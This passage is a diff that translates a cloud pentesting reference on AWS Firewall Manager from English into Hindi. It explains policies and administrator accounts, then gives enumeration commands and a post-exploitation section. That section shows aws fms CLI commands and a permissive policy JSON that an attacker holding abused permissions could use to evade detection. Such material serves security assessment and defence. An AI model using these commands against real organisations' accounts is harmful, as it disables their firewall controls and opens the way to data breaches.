**नए जोड़े गए संसाधनों पर स्वचालित रूप से सुरक्षा बढ़ा सकता है**। -A **rule group** (a collection of WAF rules) can be incorporated into an AWS Firewall Manager Policy, which is then linked to specific AWS resources such as CloudFront distributions or application load balancers. +एक **नियम समूह** (WAF नियमों का संग्रह) को AWS फ़ायरवॉल प्रबंधक नीति में शामिल किया जा सकता है, जिसे फिर विशिष्ट AWS संसाधनों जैसे CloudFront वितरण या एप्लिकेशन लोड बैलेंसर से जोड़ा जाता है। -AWS Firewall Manager provides **managed application and protocol lists** to simplify the configuration and management of security group policies. These lists allow you to define the protocols and applications permitted or denied by your policies. There are two types of managed lists: +AWS फ़ायरवॉल प्रबंधक **प्रबंधित एप्लिकेशन और प्रोटोकॉल सूचियाँ** प्रदान करता है ताकि सुरक्षा समूह नीतियों की कॉन्फ़िगरेशन और प्रबंधन को सरल बनाया जा सके। ये सूचियाँ आपको उन प्रोटोकॉल और अनुप्रयोगों को परिभाषित करने की अनुमति देती हैं जिन्हें आपकी नीतियों द्वारा अनुमति या अस्वीकृत किया गया है। प्रबंधित सूचियों के दो प्रकार हैं: -- **Firewall Manager managed lists**: These lists include **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** and **FMS-Default-Protocols-Allowed**. They are managed by Firewall Manager and include commonly used applications and protocols that should be allowed or denied to the general public. It is not possible to edit or delete them, however, you can choose its version. -- **Custom managed lists**: You manage these lists yourself. You can create custom application and protocol lists tailored to your organization's needs. Unlike Firewall Manager managed lists, these lists do not have versions, but you have full control over custom lists, allowing you to create, edit, and delete them as required. +- **फ़ायरवॉल प्रबंधक प्रबंधित सूचियाँ**: इन सूचियों में **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** और **FMS-Default-Protocols-Allowed** शामिल हैं। इन्हें फ़ायरवॉल प्रबंधक द्वारा प्रबंधित किया जाता है और इनमें सामान्यतः उपयोग किए जाने वाले अनुप्रयोग और प्रोटोकॉल शामिल होते हैं जिन्हें सामान्य जनता के लिए अनुमति या अस्वीकृत किया जाना चाहिए। इन्हें संपादित या हटाना संभव नहीं है, हालाँकि, आप इसके संस्करण का चयन कर सकते हैं। +- **कस्टम प्रबंधित सूचियाँ**: आप इन सूचियों का प्रबंधन स्वयं करते हैं। आप अपनी संगठन की आवश्यकताओं के अनुसार कस्टम एप्लिकेशन और प्रोटोकॉल सूचियाँ बना सकते हैं। फ़ायरवॉल प्रबंधक प्रबंधित सूचियों के विपरीत, इन सूचियों के संस्करण नहीं होते हैं, लेकिन आपके पास कस्टम सूचियों पर पूर्ण नियंत्रण होता है, जिससे आप उन्हें आवश्यकतानुसार बना, संपादित और हटा सकते हैं। -It's important to note that **Firewall Manager policies permit only "Block" or "Count" actions** for a rule group, without an "Allow" option. +यह ध्यान रखना महत्वपूर्ण है कि **फ़ायरवॉल प्रबंधक नीतियाँ केवल "ब्लॉक" या "गिनती" क्रियाएँ** एक नियम समूह के लिए अनुमति देती हैं, "अनुमति" विकल्प के बिना। ### Prerequisites -The following prerequisite steps must be completed before proceeding to configure Firewall Manager to begin protecting your organization's resources effectively. These steps provide the foundational setup required for Firewall Manager to enforce security policies and ensure compliance across your AWS environment: +फ़ायरवॉल प्रबंधक को कॉन्फ़िगर करने से पहले निम्नलिखित पूर्वापेक्षाएँ पूरी की जानी चाहिए ताकि आपकी संगठन के संसाधनों की प्रभावी सुरक्षा की जा सके। ये कदम फ़ायरवॉल प्रबंधक को सुरक्षा नीतियों को लागू करने और आपके AWS वातावरण में अनुपालन सुनिश्चित करने के लिए आवश्यक बुनियादी सेटअप प्रदान करते हैं: -1. **Join and configure AWS Organizations:** Ensure your AWS account is part of the AWS Organizations organization where the AWS Firewall Manager policies are planned to be implanted. This allows for centralized management of resources and policies across multiple AWS accounts within the organization. -2. **Create an AWS Firewall Manager Default Administrator Account:** Establish a default administrator account specifically for managing Firewall Manager security policies. This account will be responsible for configuring and enforcing security policies across the organization. Just the management account of the organization is able to create Firewall Manager default administrator accounts. -3. **Enable AWS Config:** Activate AWS Config to provide Firewall Manager with the necessary configuration data and insights required to effectively enforce security policies. AWS Config helps analyze, audit, monitor and audit resource configurations and changes, facilitating better security management. -4. **For Third-Party Policies, Subscribe in the AWS Marketplace and Configure Third-Party Settings:** If you plan to utilize third-party firewall policies, subscribe to them in the AWS Marketplace and configure the necessary settings. This step ensures that Firewall Manager can integrate and enforce policies from trusted third-party vendors. -5. **For Network Firewall and DNS Firewall Policies, enable resource sharing:** Enable resource sharing specifically for Network Firewall and DNS Firewall policies. This allows Firewall Manager to apply firewall protections to your organization's VPCs and DNS resolution, enhancing network security. -6. **To use AWS Firewall Manager in Regions that are disabled by default:** If you intend to use Firewall Manager in AWS regions that are disabled by default, ensure that you take the necessary steps to enable its functionality in those regions. This ensures consistent security enforcement across all regions where your organization operates. +1. **AWS संगठनों में शामिल हों और कॉन्फ़िगर करें:** सुनिश्चित करें कि आपका AWS खाता उस AWS संगठनों के संगठन का हिस्सा है जहाँ AWS फ़ायरवॉल प्रबंधक नीतियाँ लागू की जाने वाली हैं। यह संगठन के भीतर कई AWS खातों में संसाधनों और नीतियों के केंद्रीकृत प्रबंधन की अनुमति देता है। +2. **AWS फ़ायरवॉल प्रबंधक डिफ़ॉल्ट व्यवस्थापक खाता बनाएं:** फ़ायरवॉल प्रबंधक सुरक्षा नीतियों के प्रबंधन के लिए विशेष रूप से एक डिफ़ॉल्ट व्यवस्थापक खाता स्थापित करें। यह खाता संगठन के भीतर सुरक्षा नीतियों को कॉन्फ़िगर और लागू करने के लिए जिम्मेदार होगा। केवल संगठन का प्रबंधन खाता फ़ायरवॉल प्रबंधक डिफ़ॉल्ट व्यवस्थापक खातों को बना सकता है। +3. **AWS कॉन्फ़िगर सक्षम करें:** फ़ायरवॉल प्रबंधक को प्रभावी रूप से सुरक्षा नीतियों को लागू करने के लिए आवश्यक कॉन्फ़िगरेशन डेटा और अंतर्दृष्टि प्रदान करने के लिए AWS कॉन्फ़िगर को सक्रिय करें। AWS कॉन्फ़िगर संसाधन कॉन्फ़िगरेशन और परिवर्तनों का विश्लेषण, ऑडिट, निगरानी और ऑडिट करने में मदद करता है, जिससे बेहतर सुरक्षा प्रबंधन की सुविधा मिलती है। +4. **तीसरे पक्ष की नीतियों के लिए, AWS मार्केटप्लेस में सदस्यता लें और तीसरे पक्ष की सेटिंग्स कॉन्फ़िगर करें:** यदि आप तीसरे पक्ष की फ़ायरवॉल नीतियों का उपयोग करने की योजना बना रहे हैं, तो AWS मार्केटप्लेस में उनकी सदस्यता लें और आवश्यक सेटिंग्स कॉन्फ़िगर करें। यह कदम सुनिश्चित करता है कि फ़ायरवॉल प्रबंधक विश्वसनीय तीसरे पक्ष के विक्रेताओं से नीतियों को एकीकृत और लागू कर सके। +5. **नेटवर्क फ़ायरवॉल और DNS फ़ायरवॉल नीतियों के लिए, संसाधन साझा करना सक्षम करें:** नेटवर्क फ़ायरवॉल और DNS फ़ायरवॉल नीतियों के लिए विशेष रूप से संसाधन साझा करना सक्षम करें। यह फ़ायरवॉल प्रबंधक को आपके संगठन के VPCs और DNS समाधान पर फ़ायरवॉल सुरक्षा लागू करने की अनुमति देता है, जिससे नेटवर्क सुरक्षा में सुधार होता है। +6. **डिफ़ॉल्ट रूप से अक्षम क्षेत्रों में AWS फ़ायरवॉल प्रबंधक का उपयोग करने के लिए:** यदि आप उन AWS क्षेत्रों में फ़ायरवॉल प्रबंधक का उपयोग करने का इरादा रखते हैं जो डिफ़ॉल्ट रूप से अक्षम हैं, तो सुनिश्चित करें कि आप उन क्षेत्रों में इसकी कार्यक्षमता सक्षम करने के लिए आवश्यक कदम उठाते हैं। यह सुनिश्चित करता है कि आपके संगठन के संचालन के सभी क्षेत्रों में सुरक्षा लागू करने में निरंतरता बनी रहे। -For more information, check: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). +अधिक जानकारी के लिए, देखें: [AWS फ़ायरवॉल प्रबंधक AWS WAF नीतियों के साथ शुरू करना](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html)。 ### Types of protection policies -AWS Firewall Manager manages several types of policies to enforce security controls across different aspects of your organization's infrastructure: +AWS फ़ायरवॉल प्रबंधक आपके संगठन के बुनियादी ढांचे के विभिन्न पहलुओं में सुरक्षा नियंत्रण लागू करने के लिए कई प्रकार की नीतियों का प्रबंधन करता है: -1. **AWS WAF Policy:** This policy type supports both AWS WAF and AWS WAF Classic. You can define which resources are protected by the policy. For AWS WAF policies, you can specify sets of rule groups to run first and last in the web ACL. Additionally, account owners can add rules and rule groups to run in between these sets. -2. **Shield Advanced Policy:** This policy applies Shield Advanced protections across your organization for specified resource types. It helps safeguard against DDoS attacks and other threats. -3. **Amazon VPC Security Group Policy:** With this policy, you can manage security groups used throughout your organization, enforcing a baseline set of rules across your AWS environment to control network access. -4. **Amazon VPC Network Access Control List (ACL) Policy:** This policy type gives you control over network ACLs used in your organization, allowing you to enforce a baseline set of network ACLs across your AWS environment. -5. **Network Firewall Policy:** This policy applies AWS Network Firewall protection to your organization's VPCs, enhancing network security by filtering traffic based on predefined rules. -6. **Amazon Route 53 Resolver DNS Firewall Policy:** This policy applies DNS Firewall protections to your organization's VPCs, helping to block malicious domain resolution attempts and enforce security policies for DNS traffic. -7. **Third-Party Firewall Policy:** This policy type applies protections from third-party firewalls, which are available by subscription through the AWS Marketplace console. It allows you to integrate additional security measures from trusted vendors into your AWS environment. - 1. **Palo Alto Networks Cloud NGFW Policy:** This policy applies Palo Alto Networks Cloud Next Generation Firewall (NGFW) protections and rulestacks to your organization's VPCs, providing advanced threat prevention and application-level security controls. - 2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** This policy applies Fortigate Cloud Native Firewall (CNF) as a Service protections, offering industry-leading threat prevention, web application firewall (WAF), and API protection tailored for cloud infrastructures. +1. **AWS WAF नीति:** यह नीति प्रकार AWS WAF और AWS WAF क्लासिक दोनों का समर्थन करता है। आप यह परिभाषित कर सकते हैं कि कौन से संसाधन नीति द्वारा सुरक्षित हैं। AWS WAF नीतियों के लिए, आप वेब ACL में पहले और अंतिम चलाने के लिए नियम समूहों के सेट निर्दिष्ट कर सकते हैं। इसके अतिरिक्त, खाता मालिक इन सेटों के बीच चलाने के लिए नियम और नियम समूह जोड़ सकते हैं। +2. **शील्ड एडवांस्ड नीति:** यह नीति आपके संगठन में निर्दिष्ट संसाधन प्रकारों के लिए शील्ड एडवांस्ड सुरक्षा लागू करती है। यह DDoS हमलों और अन्य खतरों से सुरक्षा में मदद करती है। +3. **Amazon VPC सुरक्षा समूह नीति:** इस नीति के साथ, आप अपने संगठन में उपयोग किए जाने वाले सुरक्षा समूहों का प्रबंधन कर सकते हैं, आपके AWS वातावरण में नेटवर्क एक्सेस को नियंत्रित करने के लिए नियमों के एक बुनियादी सेट को लागू करते हैं। +4. **Amazon VPC नेटवर्क एक्सेस कंट्रोल सूची (ACL) नीति:** यह नीति प्रकार आपको अपने संगठन में उपयोग किए जाने वाले नेटवर्क ACLs पर नियंत्रण देता है, जिससे आप अपने AWS वातावरण में नेटवर्क ACLs के एक बुनियादी सेट को लागू कर सकते हैं। +5. **नेटवर्क फ़ायरवॉल नीति:** यह नीति आपके संगठन के VPCs पर AWS नेटवर्क फ़ायरवॉल सुरक्षा लागू करती है, पूर्वनिर्धारित नियमों के आधार पर ट्रैफ़िक को फ़िल्टर करके नेटवर्क सुरक्षा में सुधार करती है। +6. **Amazon Route 53 Resolver DNS फ़ायरवॉल नीति:** यह नीति आपके संगठन के VPCs पर DNS फ़ायरवॉल सुरक्षा लागू करती है, दुर्भावनापूर्ण डोमेन समाधान प्रयासों को अवरुद्ध करने और DNS ट्रैफ़िक के लिए सुरक्षा नीतियों को लागू करने में मदद करती है। +7. **तीसरे पक्ष की फ़ायरवॉल नीति:** यह नीति प्रकार तीसरे पक्ष के फ़ायरवॉल से सुरक्षा लागू करती है, जो AWS मार्केटप्लेस कंसोल के माध्यम से सदस्यता द्वारा उपलब्ध है। यह आपको अपने AWS वातावरण में विश्वसनीय विक्रेताओं से अतिरिक्त सुरक्षा उपायों को एकीकृत करने की अनुमति देती है। +1. **Palo Alto Networks Cloud NGFW नीति:** यह नीति आपके संगठन के VPCs पर Palo Alto Networks Cloud Next Generation Firewall (NGFW) सुरक्षा और नियम स्टैक्स लागू करती है, उन्नत खतरे की रोकथाम और एप्लिकेशन-स्तरीय सुरक्षा नियंत्रण प्रदान करती है। +2. **Fortigate Cloud Native Firewall (CNF) as a Service नीति:** यह नीति Fortigate Cloud Native Firewall (CNF) as a Service सुरक्षा लागू करती है, जो उद्योग में अग्रणी खतरे की रोकथाम, वेब एप्लिकेशन फ़ायरवॉल (WAF), और क्लाउड बुनियादी ढांचे के लिए अनुकूलित API सुरक्षा प्रदान करती है। ### Administrator accounts -AWS Firewall Manager offers flexibility in managing firewall resources within your organization through its administrative scope and two types of administrator accounts. +AWS फ़ायरवॉल प्रबंधक आपके संगठन के भीतर फ़ायरवॉल संसाधनों के प्रबंधन में लचीलापन प्रदान करता है इसके प्रशासनिक दायरे और दो प्रकार के व्यवस्थापक खातों के माध्यम से। -**Administrative scope defines the resources that a Firewall Manager administrator can manage**. After an AWS Organizations management account onboards an organization to Firewall Manager, it can create additional administrators with different administrative scopes. These scopes can include: +**प्रशासनिक दायरा उन संसाधनों को परिभाषित करता है जिन्हें फ़ायरवॉल प्रबंधक व्यवस्थापक प्रबंधित कर सकता है**। एक AWS संगठनों के प्रबंधन खाते द्वारा फ़ायरवॉल प्रबंधक में एक संगठन को ऑनबोर्ड करने के बाद, यह विभिन्न प्रशासनिक दायरों के साथ अतिरिक्त व्यवस्थापकों को बना सकता है। ये दायरे शामिल हो सकते हैं: -- Accounts or organizational units (OUs) that the administrator can apply policies to. -- Regions where the administrator can perform actions. -- Firewall Manager policy types that the administrator can manage. +- खाते या संगठनात्मक इकाइयाँ (OUs) जिन पर व्यवस्थापक नीतियाँ लागू कर सकता है। +- क्षेत्र जहाँ व्यवस्थापक क्रियाएँ कर सकता है। +- फ़ायरवॉल प्रबंधक नीति प्रकार जिन्हें व्यवस्थापक प्रबंधित कर सकता है। -Administrative scope can be either **full or restricted**. Full scope grants the administrator access to **all specified resource types, regions, and policy types**. In contrast, **restricted scope provides administrative permission to only a subset of resources, regions, or policy types**. It's advisable to grant administrators only the permissions they need to fulfill their roles effectively. You can apply any combination of these administrative scope conditions to an administrator, ensuring adherence to the principle of least privilege. +प्रशासनिक दायरा **पूर्ण या प्रतिबंधित** हो सकता है। पूर्ण दायरा व्यवस्थापक को **सभी निर्दिष्ट संसाधन प्रकारों, क्षेत्रों और नीति प्रकारों** तक पहुँच प्रदान करता है। इसके विपरीत, **प्रतिबंधित दायरा केवल संसाधनों, क्षेत्रों या नीति प्रकारों के एक उपसमुच्चय पर प्रशासनिक अनुमति प्रदान करता है**। यह सलाह दी जाती है कि व्यवस्थापकों को केवल वही अनुमतियाँ दी जाएँ जिनकी उन्हें अपनी भूमिकाएँ प्रभावी रूप से निभाने के लिए आवश्यकता होती है। आप किसी व्यवस्थापक पर इन प्रशासनिक दायरा शर्तों का कोई संयोजन लागू कर सकते हैं, यह सुनिश्चित करते हुए कि न्यूनतम विशेषाधिकार के सिद्धांत का पालन हो। -There are two distinct types of administrator accounts, each serving specific roles and responsibilities: +दो विशिष्ट प्रकार के व्यवस्थापक खाते हैं, प्रत्येक विशेष भूमिकाओं और जिम्मेदारियों की सेवा करता है: -- **Default Administrator:** - - The default administrator account is created by the AWS Organizations organization's management account during the onboarding process to Firewall Manager. - - This account has the capability to manage third-party firewalls and possesses full administrative scope. - - It serves as the primary administrator account for Firewall Manager, responsible for configuring and enforcing security policies across the organization. - - While the default administrator has full access to all resource types and administrative functionalities, it operates at the same peer level as other administrators if multiple administrators are utilized within the organization. -- **Firewall Manager Administrators:** - - These administrators can manage resources within the scope designated by the AWS Organizations management account, as defined by the administrative scope configuration. - - Firewall Manager administrators are created to fulfill specific roles within the organization, allowing for delegation of responsibilities while maintaining security and compliance standards. - - Upon creation, Firewall Manager checks with AWS Organizations to determine if the account is already a delegated administrator. If not, Firewall Manager calls Organizations to designate the account as a delegated administrator for Firewall Manager. +- **डिफ़ॉल्ट व्यवस्थापक:** +- डिफ़ॉल्ट व्यवस्थापक खाता AWS संगठनों के संगठन के प्रबंधन खाते द्वारा फ़ायरवॉल प्रबंधक में ऑनबोर्डिंग प्रक्रिया के दौरान बनाया जाता है। +- इस खाते में तीसरे पक्ष के फ़ायरवॉल का प्रबंधन करने की क्षमता होती है और इसमें पूर्ण प्रशासनिक दायरा होता है। +- यह फ़ायरवॉल प्रबंधक के लिए प्राथमिक व्यवस्थापक खाता है, जो संगठन के भीतर सुरक्षा नीतियों को कॉन्फ़िगर और लागू करने के लिए जिम्मेदार है। +- जबकि डिफ़ॉल्ट व्यवस्थापक को सभी संसाधन प्रकारों और प्रशासनिक कार्यक्षमताओं तक पूर्ण पहुँच होती है, यह संगठन के भीतर कई व्यवस्थापकों का उपयोग करने पर अन्य व्यवस्थापकों के समान समकक्ष स्तर पर कार्य करता है। +- **फ़ायरवॉल प्रबंधक व्यवस्थापक:** +- ये व्यवस्थापक AWS संगठनों के प्रबंधन खाते द्वारा निर्धारित प्रशासनिक दायरे के भीतर संसाधनों का प्रबंधन कर सकते हैं, जैसा कि प्रशासनिक दायरा कॉन्फ़िगरेशन द्वारा परिभाषित किया गया है। +- फ़ायरवॉल प्रबंधक व्यवस्थापक संगठन के भीतर विशिष्ट भूमिकाओं को पूरा करने के लिए बनाए जाते हैं, जिम्मेदारियों का प्रतिनिधित्व करते हुए सुरक्षा और अनुपालन मानकों को बनाए रखते हैं। +- निर्माण के समय, फ़ायरवॉल प्रबंधक यह निर्धारित करने के लिए AWS संगठनों के साथ जांच करता है कि क्या खाता पहले से ही एक प्रतिनिधि व्यवस्थापक है। यदि नहीं, तो फ़ायरवॉल प्रबंधक संगठनों को फ़ायरवॉल प्रबंधक के लिए खाते को प्रतिनिधि व्यवस्थापक के रूप में नामित करने के लिए कॉल करता है। -Managing these administrator accounts involves creating them within Firewall Manager and defining their administrative scopes according to the organization's security requirements and the principle of least privilege. By assigning appropriate administrative roles, organizations can ensure effective security management while maintaining granular control over access to sensitive resources. +इन व्यवस्थापक खातों का प्रबंधन फ़ायरवॉल प्रबंधक के भीतर उन्हें बनाने और संगठन की सुरक्षा आवश्यकताओं और न्यूनतम विशेषाधिकार के सिद्धांत के अनुसार उनके प्रशासनिक दायरों को परिभाषित करने में शामिल है। उचित प्रशासनिक भूमिकाएँ सौंपकर, संगठन प्रभावी सुरक्षा प्रबंधन सुनिश्चित कर सकते हैं जबकि संवेदनशील संसाधनों तक पहुँच पर सूक्ष्म नियंत्रण बनाए रखते हैं। -It is important to highlight that **only one account within an organization can serve as the Firewall Manager default administrator**, adhering to the principle of "**first in, last out**". To designate a new default administrator, a series of steps must be followed: +यह महत्वपूर्ण है कि **संगठन के भीतर केवल एक खाता फ़ायरवॉल प्रबंधक डिफ़ॉल्ट व्यवस्थापक के रूप में कार्य कर सकता है**, "**पहले आओ, पहले जाओ**" के सिद्धांत का पालन करते हुए। एक नए डिफ़ॉल्ट व्यवस्थापक को नामित करने के लिए, एक श्रृंखला के कदमों का पालन करना आवश्यक है: -- First, each Firewall Administrator administrator account must revoke their own account. -- Then, the existing default administrator can revoke their own account, effectively offboarding the organization from Firewall Manager. This process results in the deletion of all Firewall Manager policies created by the revoked account. -- To conclude, the AWS Organizations management account must designate the Firewall Manager dafault administrator. +- पहले, प्रत्येक फ़ायरवॉल व्यवस्थापक व्यवस्थापक खाता को अपने स्वयं के खाते को रद्द करना होगा। +- फिर, मौजूदा डिफ़ॉल्ट व्यवस्थापक अपने स्वयं के खाते को रद्द कर सकता है, प्रभावी रूप से संगठन को फ़ायरवॉल प्रबंधक से हटा सकता है। इस प्रक्रिया के परिणामस्वरूप रद्द किए गए खाते द्वारा बनाए गए सभी फ़ायरवॉल प्रबंधक नीतियों का विलोपन होता है। +- अंत में, AWS संगठनों के प्रबंधन खाते को फ़ायरवॉल प्रबंधक डिफ़ॉल्ट व्यवस्थापक को नामित करना होगा। ## Enumeration - ``` # Users/Administrators @@ -162,66 +161,58 @@ aws fms get-third-party-firewall-association-status --third-party-firewall --member-account --resource-id --resource-type ``` - ## Post Exploitation / Bypass Detection ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) -An attacker with the **`fms:AssociateAdminAccount`** permission would be able to set the Firewall Manager default administrator account. With the **`fms:PutAdminAccount`** permission, an attacker would be able to create or updatea Firewall Manager administrator account and with the **`fms:DisassociateAdminAccount`** permission, a potential attacker could remove the current Firewall Manager administrator account association. - -- The disassociation of the **Firewall Manager default administrator follows the first-in-last-out policy**. All the Firewall Manager administrators must disassociate before the Firewall Manager default administrator can disassociate the account. -- In order to create a Firewall Manager administrator by **PutAdminAccount**, the account must belong to the organization that was previously onboarded to Firewall Manager using **AssociateAdminAccount**. -- The creation of a Firewall Manager administrator account can only be done by the organization's management account. +एक हमलावर जिसके पास **`fms:AssociateAdminAccount`** अनुमति है, वह फ़ायरवॉल प्रबंधक डिफ़ॉल्ट प्रशासक खाता सेट करने में सक्षम होगा। **`fms:PutAdminAccount`** अनुमति के साथ, एक हमलावर फ़ायरवॉल प्रबंधक प्रशासक खाता बनाने या अपडेट करने में सक्षम होगा और **`fms:DisassociateAdminAccount`** अनुमति के साथ, एक संभावित हमलावर वर्तमान फ़ायरवॉल प्रबंधक प्रशासक खाता संघ को हटा सकता है। +- **फ़ायरवॉल प्रबंधक डिफ़ॉल्ट प्रशासक का असंगठन पहले-आखिरी-से-निकालने की नीति का पालन करता है**। सभी फ़ायरवॉल प्रबंधक प्रशासकों को असंगठित होना चाहिए इससे पहले कि फ़ायरवॉल प्रबंधक डिफ़ॉल्ट प्रशासक खाता असंगठित कर सके। +- **PutAdminAccount** द्वारा फ़ायरवॉल प्रबंधक प्रशासक बनाने के लिए, खाता उस संगठन का होना चाहिए जो पहले फ़ायरवॉल प्रबंधक में **AssociateAdminAccount** का उपयोग करके ऑनबोर्ड किया गया था। +- फ़ायरवॉल प्रबंधक प्रशासक खाता केवल संगठन के प्रबंधन खाते द्वारा बनाया जा सकता है। ```bash aws fms associate-admin-account --admin-account aws fms disassociate-admin-account aws fms put-admin-account --admin-account ``` - -**Potential Impact:** Loss of centralized management, policy evasion, compliance violations, and disruption of security controls within the environment. +**संभावित प्रभाव:** केंद्रीकृत प्रबंधन का नुकसान, नीति से बचाव, अनुपालन उल्लंघन, और वातावरण के भीतर सुरक्षा नियंत्रणों का विघटन। ### `fms:PutPolicy`, `fms:DeletePolicy` -An attacker with the **`fms:PutPolicy`**, **`fms:DeletePolicy`** permissions would be able to create, modify or permanently delete an AWS Firewall Manager policy. - +एक हमलावर जिसके पास **`fms:PutPolicy`**, **`fms:DeletePolicy`** अनुमतियाँ हैं, वह AWS Firewall Manager नीति को बनाने, संशोधित करने या स्थायी रूप से हटाने में सक्षम होगा। ```bash aws fms put-policy --policy | --cli-input-json file:// [--tag-list ] aws fms delete-policy --policy-id [--delete-all-policy-resources | --no-delete-all-policy-resources] ``` - -An example of permisive policy through permisive security group, in order to bypass the detection, could be the following one: - +एक उदहारण permissive नीति का, permissive सुरक्षा समूह के माध्यम से, पहचान को बायपास करने के लिए, निम्नलिखित हो सकता है: ```json { - "Policy": { - "PolicyName": "permisive_policy", - "SecurityServicePolicyData": { - "Type": "SECURITY_GROUPS_COMMON", - "ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" - }, - "ResourceTypeList": [ - "AWS::EC2::Instance", - "AWS::EC2::NetworkInterface", - "AWS::EC2::SecurityGroup", - "AWS::ElasticLoadBalancingV2::LoadBalancer", - "AWS::ElasticLoadBalancing::LoadBalancer" - ], - "ResourceType": "AWS::EC2::SecurityGroup", - "ExcludeResourceTags": false, - "ResourceTags": [], - "RemediationEnabled": true - }, - "TagList": [] +"Policy": { +"PolicyName": "permisive_policy", +"SecurityServicePolicyData": { +"Type": "SECURITY_GROUPS_COMMON", +"ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" +}, +"ResourceTypeList": [ +"AWS::EC2::Instance", +"AWS::EC2::NetworkInterface", +"AWS::EC2::SecurityGroup", +"AWS::ElasticLoadBalancingV2::LoadBalancer", +"AWS::ElasticLoadBalancing::LoadBalancer" +], +"ResourceType": "AWS::EC2::SecurityGroup", +"ExcludeResourceTags": false, +"ResourceTags": [], +"RemediationEnabled": true +}, +"TagList": [] } ``` - -**Potential Impact:** Dismantling of security controls, policy evasion, compliance violations, operational disruptions, and potential data breaches within the environment. +**संभावित प्रभाव:** सुरक्षा नियंत्रणों का विघटन, नीति से बचाव, अनुपालन उल्लंघन, संचालन में व्यवधान, और वातावरण के भीतर संभावित डेटा उल्लंघन। ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -An attacker with the **`fms:BatchAssociateResource`** and **`fms:BatchDisassociateResource`** permissions would be able to associate or disassociate resources from a Firewall Manager resource set respectively. In addition, the **`fms:PutResourceSet`** and **`fms:DeleteResourceSet`** permissions would allow an attacker to create, modify or delete these resource sets from AWS Firewall Manager. - +एक हमलावर जिसके पास **`fms:BatchAssociateResource`** और **`fms:BatchDisassociateResource`** अनुमतियाँ हैं, वह क्रमशः एक फ़ायरवॉल प्रबंधक संसाधन सेट से संसाधनों को जोड़ने या हटाने में सक्षम होगा। इसके अतिरिक्त, **`fms:PutResourceSet`** और **`fms:DeleteResourceSet`** अनुमतियाँ एक हमलावर को AWS फ़ायरवॉल प्रबंधक से इन संसाधन सेटों को बनाने, संशोधित करने या हटाने की अनुमति देंगी। ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -231,83 +222,68 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` - -**Potential Impact:** The addition of an unnecessary amount of items to a resource set will increase the level of noise in the Service potentially causing a DoS. In addition, changes of the resource sets could lead to a resource disruption, policy evasion, compliance violations, and disruption of security controls within the environment. +**संभावित प्रभाव:** एक संसाधन सेट में अनावश्यक मात्रा में आइटम जोड़ने से सेवा में शोर का स्तर बढ़ जाएगा, जिससे DoS हो सकता है। इसके अलावा, संसाधन सेट में परिवर्तन संसाधन विघटन, नीति से बचाव, अनुपालन उल्लंघनों, और वातावरण में सुरक्षा नियंत्रणों के विघटन का कारण बन सकते हैं। ### `fms:PutAppsList`, `fms:DeleteAppsList` -An attacker with the **`fms:PutAppsList`** and **`fms:DeleteAppsList`** permissions would be able to create, modify or delete application lists from AWS Firewall Manager. This could be critical, as unauthorized applications could be allowed access to the general public, or access to authorized applications could be denied, causing a DoS. - +एक हमलावर जिसके पास **`fms:PutAppsList`** और **`fms:DeleteAppsList`** अनुमतियाँ हैं, AWS Firewall Manager से एप्लिकेशन सूचियाँ बनाने, संशोधित करने या हटाने में सक्षम होगा। यह महत्वपूर्ण हो सकता है, क्योंकि अनधिकृत एप्लिकेशन को आम जनता तक पहुँचने की अनुमति दी जा सकती है, या अधिकृत एप्लिकेशनों तक पहुँच को अस्वीकृत किया जा सकता है, जिससे DoS हो सकता है। ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**संभावित प्रभाव:** इससे गलत कॉन्फ़िगरेशन, नीति से बचाव, अनुपालन उल्लंघन, और वातावरण के भीतर सुरक्षा नियंत्रणों में विघटन हो सकता है। ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` -An attacker with the **`fms:PutProtocolsList`** and **`fms:DeleteProtocolsList`** permissions would be able to create, modify or delete protocols lists from AWS Firewall Manager. Similarly as with applications lists, this could be critical since unauthorized protocols could be used by the general public, or the use of authorized protocols could be denied, causing a DoS. - +एक हमलावर जिसके पास **`fms:PutProtocolsList`** और **`fms:DeleteProtocolsList`** अनुमतियाँ हैं, वह AWS Firewall Manager से प्रोटोकॉल सूचियाँ बनाने, संशोधित करने या हटाने में सक्षम होगा। अनुप्रयोगों की सूचियों के समान, यह महत्वपूर्ण हो सकता है क्योंकि अनधिकृत प्रोटोकॉल का उपयोग आम जनता द्वारा किया जा सकता है, या अधिकृत प्रोटोकॉल के उपयोग को अस्वीकार किया जा सकता है, जिससे DoS हो सकता है। ```bash aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**संभावित प्रभाव:** इससे गलत कॉन्फ़िगरेशन, नीति से बचाव, अनुपालन उल्लंघन, और वातावरण के भीतर सुरक्षा नियंत्रणों में विघटन हो सकता है। ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel` -An attacker with the **`fms:PutNotificationChannel`** and **`fms:DeleteNotificationChannel`** permissions would be able to delete and designate the IAM role and Amazon Simple Notification Service (SNS) topic that Firewall Manager uses to record SNS logs. +एक हमलावर जिसके पास **`fms:PutNotificationChannel`** और **`fms:DeleteNotificationChannel`** अनुमतियाँ हैं, वह IAM भूमिका और Amazon Simple Notification Service (SNS) विषय 